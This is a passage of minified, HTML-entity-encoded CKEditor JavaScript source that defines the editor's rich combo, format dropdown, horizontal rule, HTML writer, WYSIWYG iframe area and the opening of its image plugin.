a=this._.items[a];var b=this.element.getDocument().getById(a);b.addClass(&quot;cke_selected&quot;);this.element.getDocument().getById(a+&quot;_option&quot;).setAttribute(&quot;aria-selected&quot;,!0);this.onMark&amp;&amp;this.onMark(b)},markFirstDisplayed:function(){var a=this;this._.markFirstDisplayed(function(){a.multiSelect||a.unmarkAll()})},unmark:function(a){var b=this.element.getDocument();a=this._.items[a];var c=b.getById(a);c.removeClass(&quot;cke_selected&quot;);b.getById(a+&quot;_option&quot;).removeAttribute(&quot;aria-selected&quot;);this.onUnmark&amp;&amp;this.onUnmark(c)},
unmarkAll:function(){var a=this._.items,b=this.element.getDocument(),c;for(c in a){var d=a[c];b.getById(d).removeClass(&quot;cke_selected&quot;);b.getById(d+&quot;_option&quot;).removeAttribute(&quot;aria-selected&quot;)}this.onUnmark&amp;&amp;this.onUnmark()},isMarked:function(a){return this.element.getDocument().getById(this._.items[a]).hasClass(&quot;cke_selected&quot;)},focus:function(a){this._.focusIndex=-1;var b=this.element.getElementsByTag(&quot;a&quot;),c,d=-1;if(a)for(c=this.element.getDocument().getById(this._.items[a]).getFirst();a=b.getItem(++d);){if(a.equals(c)){this._.focusIndex=
d;break}}else this.element.focus();c&amp;&amp;setTimeout(function(){c.focus()},0)}}})}});CKEDITOR.plugins.add(&quot;richcombo&quot;,{requires:&quot;floatpanel,listblock,button&quot;,beforeInit:function(c){c.ui.addHandler(CKEDITOR.UI_RICHCOMBO,CKEDITOR.ui.richCombo.handler)}});
(function(){var c=&#039;\x3cspan id\x3d&quot;{id}&quot; class\x3d&quot;cke_combo cke_combo__{name} {cls}&quot; role\x3d&quot;presentation&quot;\x3e\x3cspan id\x3d&quot;{id}_label&quot; class\x3d&quot;cke_combo_label&quot;\x3e{label}\x3c/span\x3e\x3ca class\x3d&quot;cke_combo_button&quot; title\x3d&quot;{title}&quot; tabindex\x3d&quot;-1&quot;&#039;+(CKEDITOR.env.gecko&amp;&amp;!CKEDITOR.env.hc?&quot;&quot;:&quot; href\x3d\&quot;javascript:void(&#039;{titleJs}&#039;)\&quot;&quot;)+&#039; hidefocus\x3d&quot;true&quot; role\x3d&quot;button&quot; aria-labelledby\x3d&quot;{id}_label&quot; aria-haspopup\x3d&quot;listbox&quot;&#039;;CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.mac&amp;&amp;(c+=&#039; onkeypress\x3d&quot;return false;&quot;&#039;);
CKEDITOR.env.gecko&amp;&amp;(c+=&#039; onblur\x3d&quot;this.style.cssText \x3d this.style.cssText;&quot;&#039;);var c=c+(&#039; onkeydown\x3d&quot;return CKEDITOR.tools.callFunction({keydownFn},event,this);&quot; onfocus\x3d&quot;return CKEDITOR.tools.callFunction({focusFn},event);&quot; &#039;+(CKEDITOR.env.ie?&#039;onclick\x3d&quot;return false;&quot; onmouseup&#039;:&quot;onclick&quot;)+&#039;\x3d&quot;CKEDITOR.tools.callFunction({clickFn},this);return false;&quot;\x3e\x3cspan id\x3d&quot;{id}_text&quot; class\x3d&quot;cke_combo_text cke_combo_inlinelabel&quot;\x3e{label}\x3c/span\x3e\x3cspan class\x3d&quot;cke_combo_open&quot;\x3e\x3cspan class\x3d&quot;cke_combo_arrow&quot;\x3e&#039;+
(CKEDITOR.env.hc?&quot;\x26#9660;&quot;:CKEDITOR.env.air?&quot;\x26nbsp;&quot;:&quot;&quot;)+&quot;\x3c/span\x3e\x3c/span\x3e\x3c/a\x3e\x3c/span\x3e&quot;),k=CKEDITOR.addTemplate(&quot;combo&quot;,c);CKEDITOR.UI_RICHCOMBO=&quot;richcombo&quot;;CKEDITOR.ui.richCombo=CKEDITOR.tools.createClass({$:function(a){CKEDITOR.tools.extend(this,a,{canGroup:!1,title:a.label,modes:{wysiwyg:1},editorFocus:1});a=this.panel||{};delete this.panel;this.id=CKEDITOR.tools.getNextNumber();this.document=a.parent&amp;&amp;a.parent.getDocument()||CKEDITOR.document;a.className=&quot;cke_combopanel&quot;;
a.block={multiSelect:a.multiSelect,attributes:a.attributes};a.toolbarRelated=!0;this._={panelDefinition:a,items:{},listeners:[]}},proto:{renderHtml:function(a){var b=[];this.render(a,b);return b.join(&quot;&quot;)},render:function(a,b){function f(){if(this.getState()!=CKEDITOR.TRISTATE_ON){var b=this.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED;a.readOnly&amp;&amp;!this.readOnly&amp;&amp;(b=CKEDITOR.TRISTATE_DISABLED);this.setState(b);this.setValue(&quot;&quot;);b!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;this.refresh&amp;&amp;this.refresh()}}
var c=CKEDITOR.env,h=&quot;cke_&quot;+this.id,e=CKEDITOR.tools.addFunction(function(b){l&amp;&amp;(a.unlockSelection(1),l=0);g.execute(b)},this),d=this,g={id:h,combo:this,focus:function(){CKEDITOR.document.getById(h).getChild(1).focus()},execute:function(b){var c=d._;if(c.state!=CKEDITOR.TRISTATE_DISABLED)if(d.createPanel(a),c.on)c.panel.hide();else{d.commit();var f=d.getValue();f?c.list.mark(f):c.list.unmarkAll();c.panel.showBlock(d.id,new CKEDITOR.dom.element(b),4)}},clickFn:e};this._.listeners.push(a.on(&quot;activeFilterChange&quot;,
f,this));this._.listeners.push(a.on(&quot;mode&quot;,f,this));this._.listeners.push(a.on(&quot;selectionChange&quot;,f,this));!this.readOnly&amp;&amp;this._.listeners.push(a.on(&quot;readOnly&quot;,f,this));var m=CKEDITOR.tools.addFunction(function(a,b){a=new CKEDITOR.dom.event(a);var d=a.getKeystroke();switch(d){case 13:case 32:case 40:CKEDITOR.tools.callFunction(e,b);break;default:g.onkey(g,d)}a.preventDefault()}),n=CKEDITOR.tools.addFunction(function(){g.onfocus&amp;&amp;g.onfocus()}),l=0;g.keyDownFn=m;c={id:h,name:this.name||this.command,
label:this.label,title:this.title,cls:this.className||&quot;&quot;,titleJs:c.gecko&amp;&amp;!c.hc?&quot;&quot;:(this.title||&quot;&quot;).replace(&quot;&#039;&quot;,&quot;&quot;),keydownFn:m,focusFn:n,clickFn:e};k.output(c,b);if(this.onRender)this.onRender();return g},createPanel:function(a){if(!this._.panel){var b=this._.panelDefinition,c=this._.panelDefinition.block,k=b.parent||CKEDITOR.document.getBody(),h=&quot;cke_combopanel__&quot;+this.name,e=new CKEDITOR.ui.floatPanel(a,k,b),b=e.addListBlock(this.id,c),d=this;e.onShow=function(){this.element.addClass(h);d.setState(CKEDITOR.TRISTATE_ON);
d._.on=1;d.editorFocus&amp;&amp;!a.focusManager.hasFocus&amp;&amp;a.focus();if(d.onOpen)d.onOpen()};e.onHide=function(b){this.element.removeClass(h);d.setState(d.modes&amp;&amp;d.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);d._.on=0;if(!b&amp;&amp;d.onClose)d.onClose()};e.onEscape=function(){e.hide(1)};b.onClick=function(a,b){d.onClick&amp;&amp;d.onClick.call(d,a,b);e.hide()};this._.panel=e;this._.list=b;e.getBlock(this.id).onHide=function(){d._.on=0;d.setState(CKEDITOR.TRISTATE_OFF)};this.init&amp;&amp;this.init()}},setValue:function(a,
b){this._.value=a;var c=this.document.getById(&quot;cke_&quot;+this.id+&quot;_text&quot;);c&amp;&amp;(a||b?c.removeClass(&quot;cke_combo_inlinelabel&quot;):(b=this.label,c.addClass(&quot;cke_combo_inlinelabel&quot;)),c.setText(&quot;undefined&quot;!=typeof b?b:a))},getValue:function(){return this._.value||&quot;&quot;},unmarkAll:function(){this._.list.unmarkAll()},mark:function(a){this._.list.mark(a)},hideItem:function(a){this._.list.hideItem(a)},hideGroup:function(a){this._.list.hideGroup(a)},showAll:function(){this._.list.showAll()},add:function(a,b,c){this._.items[a]=
c||a;this._.list.add(a,b,c)},startGroup:function(a){this._.list.startGroup(a)},commit:function(){this._.committed||(this._.list.commit(),this._.committed=1,CKEDITOR.ui.fire(&quot;ready&quot;,this));this._.committed=1},setState:function(a){if(this._.state!=a){var b=this.document.getById(&quot;cke_&quot;+this.id);b.setState(a,&quot;cke_combo&quot;);a==CKEDITOR.TRISTATE_DISABLED?b.setAttribute(&quot;aria-disabled&quot;,!0):b.removeAttribute(&quot;aria-disabled&quot;);this._.state=a}},getState:function(){return this._.state},enable:function(){this._.state==
CKEDITOR.TRISTATE_DISABLED&amp;&amp;this.setState(this._.lastState)},disable:function(){this._.state!=CKEDITOR.TRISTATE_DISABLED&amp;&amp;(this._.lastState=this._.state,this.setState(CKEDITOR.TRISTATE_DISABLED))},destroy:function(){CKEDITOR.tools.array.forEach(this._.listeners,function(a){a.removeListener()});this._.listeners=[]}},statics:{handler:{create:function(a){return new CKEDITOR.ui.richCombo(a)}}}});CKEDITOR.ui.prototype.addRichCombo=function(a,b){this.add(a,CKEDITOR.UI_RICHCOMBO,b)}})();CKEDITOR.plugins.add(&quot;format&quot;,{requires:&quot;richcombo&quot;,init:function(a){if(!a.blockless){for(var f=a.config,c=a.lang.format,l=f.format_tags.split(&quot;;&quot;),d={},m=0,n=[],g=0;g&lt;l.length;g++){var h=l[g],k=new CKEDITOR.style(f[&quot;format_&quot;+h]);if(!a.filter.customConfig||a.filter.check(k))m++,d[h]=k,d[h]._.enterMode=a.config.enterMode,n.push(k)}0!==m&amp;&amp;a.ui.addRichCombo(&quot;Format&quot;,{label:c.label,title:c.panelTitle,toolbar:&quot;styles,20&quot;,allowedContent:n,panel:{css:[CKEDITOR.skin.getPath(&quot;editor&quot;)].concat(f.contentsCss),
multiSelect:!1,attributes:{&quot;aria-label&quot;:c.panelTitle}},init:function(){this.startGroup(c.panelTitle);for(var a in d){var e=c[&quot;tag_&quot;+a];this.add(a,d[a].buildPreview(e),e)}},onClick:function(b){a.focus();a.fire(&quot;saveSnapshot&quot;);b=d[b];var e=a.elementPath();b.checkActive(e,a)||a.applyStyle(b);setTimeout(function(){a.fire(&quot;saveSnapshot&quot;)},0)},onRender:function(){a.on(&quot;selectionChange&quot;,function(b){var e=this.getValue();b=b.data.path;this.refresh();for(var c in d)if(d[c].checkActive(b,a)){c!=e&amp;&amp;this.setValue(c,
a.lang.format[&quot;tag_&quot;+c]);return}this.setValue(&quot;&quot;)},this)},onOpen:function(){this.showAll();for(var b in d)a.activeFilter.check(d[b])||this.hideItem(b)},refresh:function(){var b=a.elementPath();if(b){if(b.isContextFor(&quot;p&quot;))for(var c in d)if(a.activeFilter.check(d[c]))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}}})}}});CKEDITOR.config.format_tags=&quot;p;h1;h2;h3;h4;h5;h6;pre;address;div&quot;;CKEDITOR.config.format_p={element:&quot;p&quot;};CKEDITOR.config.format_div={element:&quot;div&quot;};CKEDITOR.config.format_pre={element:&quot;pre&quot;};
CKEDITOR.config.format_address={element:&quot;address&quot;};CKEDITOR.config.format_h1={element:&quot;h1&quot;};CKEDITOR.config.format_h2={element:&quot;h2&quot;};CKEDITOR.config.format_h3={element:&quot;h3&quot;};CKEDITOR.config.format_h4={element:&quot;h4&quot;};CKEDITOR.config.format_h5={element:&quot;h5&quot;};CKEDITOR.config.format_h6={element:&quot;h6&quot;};(function(){var b={canUndo:!1,exec:function(a){var b=a.document.createElement(&quot;hr&quot;);a.insertElement(b)},allowedContent:&quot;hr&quot;,requiredContent:&quot;hr&quot;};CKEDITOR.plugins.add(&quot;horizontalrule&quot;,{init:function(a){a.blockless||(a.addCommand(&quot;horizontalrule&quot;,b),a.ui.addButton&amp;&amp;a.ui.addButton(&quot;HorizontalRule&quot;,{label:a.lang.horizontalrule.toolbar,command:&quot;horizontalrule&quot;,toolbar:&quot;insert,40&quot;}))}})})();CKEDITOR.plugins.add(&quot;htmlwriter&quot;,{init:function(b){var a=new CKEDITOR.htmlWriter;a.forceSimpleAmpersand=b.config.forceSimpleAmpersand;a.indentationChars=b.config.dataIndentationChars||&quot;\t&quot;;b.dataProcessor.writer=a}});
CKEDITOR.htmlWriter=CKEDITOR.tools.createClass({base:CKEDITOR.htmlParser.basicWriter,$:function(){this.base();this.indentationChars=&quot;\t&quot;;this.selfClosingEnd=&quot; /\x3e&quot;;this.lineBreakChars=&quot;\n&quot;;this.sortAttributes=1;this._.indent=0;this._.indentation=&quot;&quot;;this._.inPre=0;this._.rules={};var b=CKEDITOR.dtd,a;for(a in CKEDITOR.tools.extend({},b.$nonBodyContent,b.$block,b.$listItem,b.$tableContent))this.setRules(a,{indent:!b[a][&quot;#&quot;],breakBeforeOpen:1,breakBeforeClose:!b[a][&quot;#&quot;],breakAfterClose:1,needsSpace:a in
b.$block&amp;&amp;!(a in{li:1,dt:1,dd:1})});this.setRules(&quot;br&quot;,{breakAfterOpen:1});this.setRules(&quot;title&quot;,{indent:0,breakAfterOpen:0});this.setRules(&quot;style&quot;,{indent:0,breakBeforeClose:1});this.setRules(&quot;pre&quot;,{breakAfterOpen:1,indent:0})},proto:{openTag:function(b){var a=this._.rules[b];this._.afterCloser&amp;&amp;a&amp;&amp;a.needsSpace&amp;&amp;this._.needsSpace&amp;&amp;this._.output.push(&quot;\n&quot;);this._.indent?this.indentation():a&amp;&amp;a.breakBeforeOpen&amp;&amp;(this.lineBreak(),this.indentation());this._.output.push(&quot;\x3c&quot;,b);this._.afterCloser=0},
openTagClose:function(b,a){var c=this._.rules[b];a?(this._.output.push(this.selfClosingEnd),c&amp;&amp;c.breakAfterClose&amp;&amp;(this._.needsSpace=c.needsSpace)):(this._.output.push(&quot;\x3e&quot;),c&amp;&amp;c.indent&amp;&amp;(this._.indentation+=this.indentationChars));c&amp;&amp;c.breakAfterOpen&amp;&amp;this.lineBreak();&quot;pre&quot;==b&amp;&amp;(this._.inPre=1)},attribute:function(b,a){&quot;string&quot;==typeof a&amp;&amp;(a=CKEDITOR.tools.htmlEncodeAttr(a),this.forceSimpleAmpersand&amp;&amp;(a=a.replace(/&amp;amp;/g,&quot;\x26&quot;)));this._.output.push(&quot; &quot;,b,&#039;\x3d&quot;&#039;,a,&#039;&quot;&#039;)},closeTag:function(b){var a=
this._.rules[b];a&amp;&amp;a.indent&amp;&amp;(this._.indentation=this._.indentation.substr(this.indentationChars.length));this._.indent?this.indentation():a&amp;&amp;a.breakBeforeClose&amp;&amp;(this.lineBreak(),this.indentation());this._.output.push(&quot;\x3c/&quot;,b,&quot;\x3e&quot;);&quot;pre&quot;==b&amp;&amp;(this._.inPre=0);a&amp;&amp;a.breakAfterClose&amp;&amp;(this.lineBreak(),this._.needsSpace=a.needsSpace);this._.afterCloser=1},text:function(b){this._.indent&amp;&amp;(this.indentation(),!this._.inPre&amp;&amp;(b=CKEDITOR.tools.ltrim(b)));this._.output.push(b)},comment:function(b){this._.indent&amp;&amp;
this.indentation();this._.output.push(&quot;\x3c!--&quot;,b,&quot;--\x3e&quot;)},lineBreak:function(){!this._.inPre&amp;&amp;0&lt;this._.output.length&amp;&amp;this._.output.push(this.lineBreakChars);this._.indent=1},indentation:function(){!this._.inPre&amp;&amp;this._.indentation&amp;&amp;this._.output.push(this._.indentation);this._.indent=0},reset:function(){this._.output=[];this._.indent=0;this._.indentation=&quot;&quot;;this._.afterCloser=0;this._.inPre=0;this._.needsSpace=0},setRules:function(b,a){var c=this._.rules[b];c?CKEDITOR.tools.extend(c,a,!0):this._.rules[b]=
a}}});(function(){function m(a){function f(a){var b=!1;g.attachListener(g,&quot;keydown&quot;,function(){var d=c.getBody().getElementsByTag(a);if(!b){for(var e=0;e&lt;d.count();e++)d.getItem(e).setCustomData(&quot;retain&quot;,!0);b=!0}},null,null,1);g.attachListener(g,&quot;keyup&quot;,function(){var d=c.getElementsByTag(a);b&amp;&amp;(1==d.count()&amp;&amp;!d.getItem(0).getCustomData(&quot;retain&quot;)&amp;&amp;CKEDITOR.tools.isEmpty(d.getItem(0).getAttributes())&amp;&amp;d.getItem(0).remove(1),b=!1)})}var b=this.editor,c=a.document,d=c.body,e=c.getElementById(&quot;cke_actscrpt&quot;);
e&amp;&amp;e.parentNode.removeChild(e);(e=c.getElementById(&quot;cke_shimscrpt&quot;))&amp;&amp;e.parentNode.removeChild(e);(e=c.getElementById(&quot;cke_basetagscrpt&quot;))&amp;&amp;e.parentNode.removeChild(e);d.contentEditable=!0;CKEDITOR.env.ie&amp;&amp;(d.hideFocus=!0,d.disabled=!0,d.removeAttribute(&quot;disabled&quot;));delete this._.isLoadingData;this.$=d;c=new CKEDITOR.dom.document(c);this.setup();this.fixInitialSelection();var g=this;CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge&amp;&amp;c.getDocumentElement().addClass(c.$.compatMode);CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge&amp;&amp;
b.enterMode!=CKEDITOR.ENTER_P?f(&quot;p&quot;):CKEDITOR.env.edge&amp;&amp;15&gt;CKEDITOR.env.version&amp;&amp;b.enterMode!=CKEDITOR.ENTER_DIV&amp;&amp;f(&quot;div&quot;);if(CKEDITOR.env.webkit||CKEDITOR.env.ie&amp;&amp;10&lt;CKEDITOR.env.version)c.getDocumentElement().on(&quot;mousedown&quot;,function(a){a.data.getTarget().is(&quot;html&quot;)&amp;&amp;setTimeout(function(){b.editable().focus()})});n(b);try{b.document.$.execCommand(&quot;2D-position&quot;,!1,!0)}catch(h){}(CKEDITOR.env.gecko||CKEDITOR.env.ie&amp;&amp;&quot;CSS1Compat&quot;==b.document.$.compatMode)&amp;&amp;this.attachListener(this,&quot;keydown&quot;,function(a){var c=
a.data.getKeystroke();if(33==c||34==c)if(CKEDITOR.env.ie)setTimeout(function(){b.getSelection().scrollIntoView()},0);else if(b.window.$.innerHeight&gt;this.$.offsetHeight){var d=b.createRange();d[33==c?&quot;moveToElementEditStart&quot;:&quot;moveToElementEditEnd&quot;](this);d.select();a.data.preventDefault()}});CKEDITOR.env.ie&amp;&amp;this.attachListener(c,&quot;blur&quot;,function(){try{c.$.selection.empty()}catch(a){}});CKEDITOR.env.iOS&amp;&amp;this.attachListener(c,&quot;touchend&quot;,function(){a.focus()});d=b.document.getElementsByTag(&quot;title&quot;).getItem(0);
d.data(&quot;cke-title&quot;,d.getText());CKEDITOR.env.ie&amp;&amp;(b.document.$.title=this._.docTitle);CKEDITOR.tools.setTimeout(function(){&quot;unloaded&quot;==this.status&amp;&amp;(this.status=&quot;ready&quot;);b.fire(&quot;contentDom&quot;);this._.isPendingFocus&amp;&amp;(b.focus(),this._.isPendingFocus=!1);setTimeout(function(){b.fire(&quot;dataReady&quot;)},0)},0,this)}function n(a){function f(){var c;a.editable().attachListener(a,&quot;selectionChange&quot;,function(){var d=a.getSelection().getSelectedElement();d&amp;&amp;(c&amp;&amp;(c.detachEvent(&quot;onresizestart&quot;,b),c=null),d.$.attachEvent(&quot;onresizestart&quot;,
b),c=d.$)})}function b(a){a.returnValue=!1}if(CKEDITOR.env.gecko)try{var c=a.document.$;c.execCommand(&quot;enableObjectResizing&quot;,!1,!a.config.disableObjectResizing);c.execCommand(&quot;enableInlineTableEditing&quot;,!1,!a.config.disableNativeTableHandles)}catch(d){}else CKEDITOR.env.ie&amp;&amp;11&gt;CKEDITOR.env.version&amp;&amp;a.config.disableObjectResizing&amp;&amp;f(a)}function p(){var a=[];if(8&lt;=CKEDITOR.document.$.documentMode){a.push(&quot;html.CSS1Compat [contenteditable\x3dfalse]{min-height:0 !important}&quot;);var f=[],b;for(b in CKEDITOR.dtd.$removeEmpty)f.push(&quot;html.CSS1Compat &quot;+
b+&quot;[contenteditable\x3dfalse]&quot;);a.push(f.join(&quot;,&quot;)+&quot;{display:inline-block}&quot;)}else CKEDITOR.env.gecko&amp;&amp;(a.push(&quot;html{height:100% !important}&quot;),a.push(&quot;img:-moz-broken{-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}&quot;));a.push(&quot;html{cursor:text;*cursor:auto}&quot;);a.push(&quot;img,input,textarea{cursor:default}&quot;);return a.join(&quot;\n&quot;)}var l;CKEDITOR.plugins.add(&quot;wysiwygarea&quot;,{init:function(a){a.config.fullPage&amp;&amp;a.addFeature({allowedContent:&quot;html head title; style [media,type]; body (*)[id]; meta link [*]&quot;,
requiredContent:&quot;body&quot;});a.addMode(&quot;wysiwyg&quot;,function(f){function b(b){b&amp;&amp;b.removeListener();a.editable(new l(a,d.$.contentWindow.document.body));a.setData(a.getData(1),f)}var c=&quot;document.open();&quot;+(CKEDITOR.env.ie?&quot;(&quot;+CKEDITOR.tools.fixDomain+&quot;)();&quot;:&quot;&quot;)+&quot;document.close();&quot;,c=CKEDITOR.env.air?&quot;javascript:void(0)&quot;:CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge?&quot;javascript:void(function(){&quot;+encodeURIComponent(c)+&quot;}())&quot;:&quot;&quot;,d=CKEDITOR.dom.element.createFromHtml(&#039;\x3ciframe src\x3d&quot;&#039;+c+&#039;&quot; frameBorder\x3d&quot;0&quot;\x3e\x3c/iframe\x3e&#039;);
d.setStyles({width:&quot;100%&quot;,height:&quot;100%&quot;});d.addClass(&quot;cke_wysiwyg_frame&quot;).addClass(&quot;cke_reset&quot;);c=a.ui.space(&quot;contents&quot;);c.append(d);var e=CKEDITOR.env.ie&amp;&amp;!CKEDITOR.env.edge||CKEDITOR.env.gecko;if(e)d.on(&quot;load&quot;,b);var g=a.title,h=a.fire(&quot;ariaEditorHelpLabel&quot;,{}).label;g&amp;&amp;(CKEDITOR.env.ie&amp;&amp;h&amp;&amp;(g+=&quot;, &quot;+h),d.setAttribute(&quot;title&quot;,g));if(h){var g=CKEDITOR.tools.getNextId(),k=CKEDITOR.dom.element.createFromHtml(&#039;\x3cspan id\x3d&quot;&#039;+g+&#039;&quot; class\x3d&quot;cke_voice_label&quot;\x3e&#039;+h+&quot;\x3c/span\x3e&quot;);c.append(k,1);d.setAttribute(&quot;aria-describedby&quot;,
g)}a.on(&quot;beforeModeUnload&quot;,function(a){a.removeListener();k&amp;&amp;k.remove()});d.setAttributes({tabIndex:a.tabIndex,allowTransparency:&quot;true&quot;});!e&amp;&amp;b();a.fire(&quot;ariaWidget&quot;,d)})}});CKEDITOR.editor.prototype.addContentsCss=function(a){var f=this.config,b=f.contentsCss;CKEDITOR.tools.isArray(b)||(f.contentsCss=b?[b]:[]);f.contentsCss.push(a)};l=CKEDITOR.tools.createClass({$:function(){this.base.apply(this,arguments);this._.frameLoadedHandler=CKEDITOR.tools.addFunction(function(a){CKEDITOR.tools.setTimeout(m,
0,this,a)},this);this._.docTitle=this.getWindow().getFrame().getAttribute(&quot;title&quot;)},base:CKEDITOR.editable,proto:{setData:function(a,f){var b=this.editor;if(f)this.setHtml(a),this.fixInitialSelection(),b.fire(&quot;dataReady&quot;);else{this._.isLoadingData=!0;b._.dataStore={id:1};var c=b.config,d=c.fullPage,e=c.docType,g=CKEDITOR.tools.buildStyleHtml(p()).replace(/&lt;style&gt;/,&#039;\x3cstyle data-cke-temp\x3d&quot;1&quot;\x3e&#039;);d||(g+=CKEDITOR.tools.buildStyleHtml(b.config.contentsCss));var h=c.baseHref?&#039;\x3cbase href\x3d&quot;&#039;+
c.baseHref+&#039;&quot; data-cke-temp\x3d&quot;1&quot; /\x3e&#039;:&quot;&quot;;d&amp;&amp;(a=a.replace(/&lt;!DOCTYPE[^&gt;]*&gt;/i,function(a){b.docType=e=a;return&quot;&quot;}).replace(/&lt;\?xml\s[^\?]*\?&gt;/i,function(a){b.xmlDeclaration=a;return&quot;&quot;}));a=b.dataProcessor.toHtml(a);d?(/&lt;body[\s|&gt;]/.test(a)||(a=&quot;\x3cbody\x3e&quot;+a),/&lt;html[\s|&gt;]/.test(a)||(a=&quot;\x3chtml\x3e&quot;+a+&quot;\x3c/html\x3e&quot;),/&lt;head[\s|&gt;]/.test(a)?/&lt;title[\s|&gt;]/.test(a)||(a=a.replace(/&lt;head[^&gt;]*&gt;/,&quot;$\x26\x3ctitle\x3e\x3c/title\x3e&quot;)):a=a.replace(/&lt;html[^&gt;]*&gt;/,&quot;$\x26\x3chead\x3e\x3ctitle\x3e\x3c/title\x3e\x3c/head\x3e&quot;),
h&amp;&amp;(a=a.replace(/&lt;head[^&gt;]*?&gt;/,&quot;$\x26&quot;+h)),a=a.replace(/&lt;\/head\s*&gt;/,g+&quot;$\x26&quot;),a=e+a):a=c.docType+&#039;\x3chtml dir\x3d&quot;&#039;+c.contentsLangDirection+&#039;&quot; lang\x3d&quot;&#039;+(c.contentsLanguage||b.langCode)+&#039;&quot;\x3e\x3chead\x3e\x3ctitle\x3e&#039;+this._.docTitle+&quot;\x3c/title\x3e&quot;+h+g+&quot;\x3c/head\x3e\x3cbody&quot;+(c.bodyId?&#039; id\x3d&quot;&#039;+c.bodyId+&#039;&quot;&#039;:&quot;&quot;)+(c.bodyClass?&#039; class\x3d&quot;&#039;+c.bodyClass+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;+a+&quot;\x3c/body\x3e\x3c/html\x3e&quot;;CKEDITOR.env.gecko&amp;&amp;(a=a.replace(/&lt;body/,&#039;\x3cbody contenteditable\x3d&quot;true&quot; &#039;),2E4&gt;CKEDITOR.env.version&amp;&amp;
(a=a.replace(/&lt;body[^&gt;]*&gt;/,&quot;$\x26\x3c!-- cke-content-start --\x3e&quot;)));c=&#039;\x3cscript id\x3d&quot;cke_actscrpt&quot; type\x3d&quot;text/javascript&quot;&#039;+(CKEDITOR.env.ie?&#039; defer\x3d&quot;defer&quot; &#039;:&quot;&quot;)+&quot;\x3evar wasLoaded\x3d0;function onload(){if(!wasLoaded)window.parent.CKEDITOR.tools.callFunction(&quot;+this._.frameLoadedHandler+&quot;,window);wasLoaded\x3d1;}&quot;+(CKEDITOR.env.ie?&quot;onload();&quot;:&#039;document.addEventListener(&quot;DOMContentLoaded&quot;, onload, false );&#039;)+&quot;\x3c/script\x3e&quot;;CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;(c+=&#039;\x3cscript id\x3d&quot;cke_shimscrpt&quot;\x3ewindow.parent.CKEDITOR.tools.enableHtml5Elements(document)\x3c/script\x3e&#039;);
h&amp;&amp;CKEDITOR.env.ie&amp;&amp;10&gt;CKEDITOR.env.version&amp;&amp;(c+=&#039;\x3cscript id\x3d&quot;cke_basetagscrpt&quot;\x3evar baseTag \x3d document.querySelector( &quot;base&quot; );baseTag.href \x3d baseTag.href;\x3c/script\x3e&#039;);a=a.replace(/(?=\s*&lt;\/(:?head)&gt;)/,c);this.clearCustomData();this.clearListeners();b.fire(&quot;contentDomUnload&quot;);var k=this.getDocument();try{k.write(a)}catch(l){setTimeout(function(){k.write(a)},0)}}},getData:function(a){if(a)return this.getHtml();a=this.editor;var f=a.config,b=f.fullPage,c=b&amp;&amp;a.docType,d=b&amp;&amp;a.xmlDeclaration,
e=this.getDocument(),b=b?e.getDocumentElement().getOuterHtml():e.getBody().getHtml();CKEDITOR.env.gecko&amp;&amp;f.enterMode!=CKEDITOR.ENTER_BR&amp;&amp;(b=b.replace(/&lt;br&gt;(?=\s*(:?$|&lt;\/body&gt;))/,&quot;&quot;));b=a.dataProcessor.toDataFormat(b);d&amp;&amp;(b=d+&quot;\n&quot;+b);c&amp;&amp;(b=c+&quot;\n&quot;+b);return b},focus:function(){this._.isLoadingData?this._.isPendingFocus=!0:l.baseProto.focus.call(this)},detach:function(){var a=this.editor,f=a.document,b;try{b=a.window.getFrame()}catch(c){}l.baseProto.detach.call(this);this.clearCustomData();f.getDocumentElement().clearCustomData();
CKEDITOR.tools.removeFunction(this._.frameLoadedHandler);b&amp;&amp;b.getParent()?(b.clearCustomData(),(a=b.removeCustomData(&quot;onResize&quot;))&amp;&amp;a.removeListener(),b.remove()):CKEDITOR.warn(&quot;editor-destroy-iframe&quot;)}}})})();CKEDITOR.config.disableObjectResizing=!1;CKEDITOR.config.disableNativeTableHandles=!0;CKEDITOR.config.disableNativeSpellChecker=!0;(function(){function e(b,a){a||(a=b.getSelection().getSelectedElement());if(a&amp;&amp;a.is(&quot;img&quot;)&amp;&amp;!a.data(&quot;cke-realelement&quot;)&amp;&amp;!a.isReadOnly())return a}function f(b){var a=b.getStyle(&quot;float&quot;);if(&quot;inherit&quot;==a||&quot;none&quot;==a)a=0;a||(a=b.getAttribute(&quot;align&quot;));return a}CKEDITOR.plugins.add(&quot;image&quot;,{requires:&quot;dialog&quot;,init:function(b){if(!b.plugins.detectConflict(&quot;image&quot;,[&quot;easyimage&quot;,&quot;image2&quot;])){CKEDITOR.dialog.add(&quot;image&quot;,this.path+&quot;dialogs/image.js&quot;);var a=&quot;img[alt,!src]{border-style,border-width,float,height,margin,margin-bottom,margin-left,margin-right,margin-top,width}&quot;;
CKEDITOR.dialog.isTabEnabled(b,&quot;image&quot;,&quot;advanced&quot;)&amp;&amp;(a=&quot;img[alt,dir,id,lang,longdesc,!src,title]{*}(*)&quot;);b.addCommand(&quot;image&quot;,new CKEDITOR.dialogCommand(&quot;image&quot;,{allowedContent:a,requiredContent:&quot;img[alt,src]&quot;,contentTransformations:[[&quot;img{width}: sizeToStyle&quot;,&quot;img[width]: sizeToAttribute&quot;],[&quot;img{float}: alignmentToStyle&quot;,&quot;img[align]: alignmentToAttribute&quot;]]}));b.ui.addButton&amp;&amp;b.ui.addButton(&quot;Image&quot;,{label:b.lang.common.image,command:&quot;image&quot;,toolbar:&quot;insert,10&quot;});b.on(&quot;doubleclick&quot;,function(b){var a=
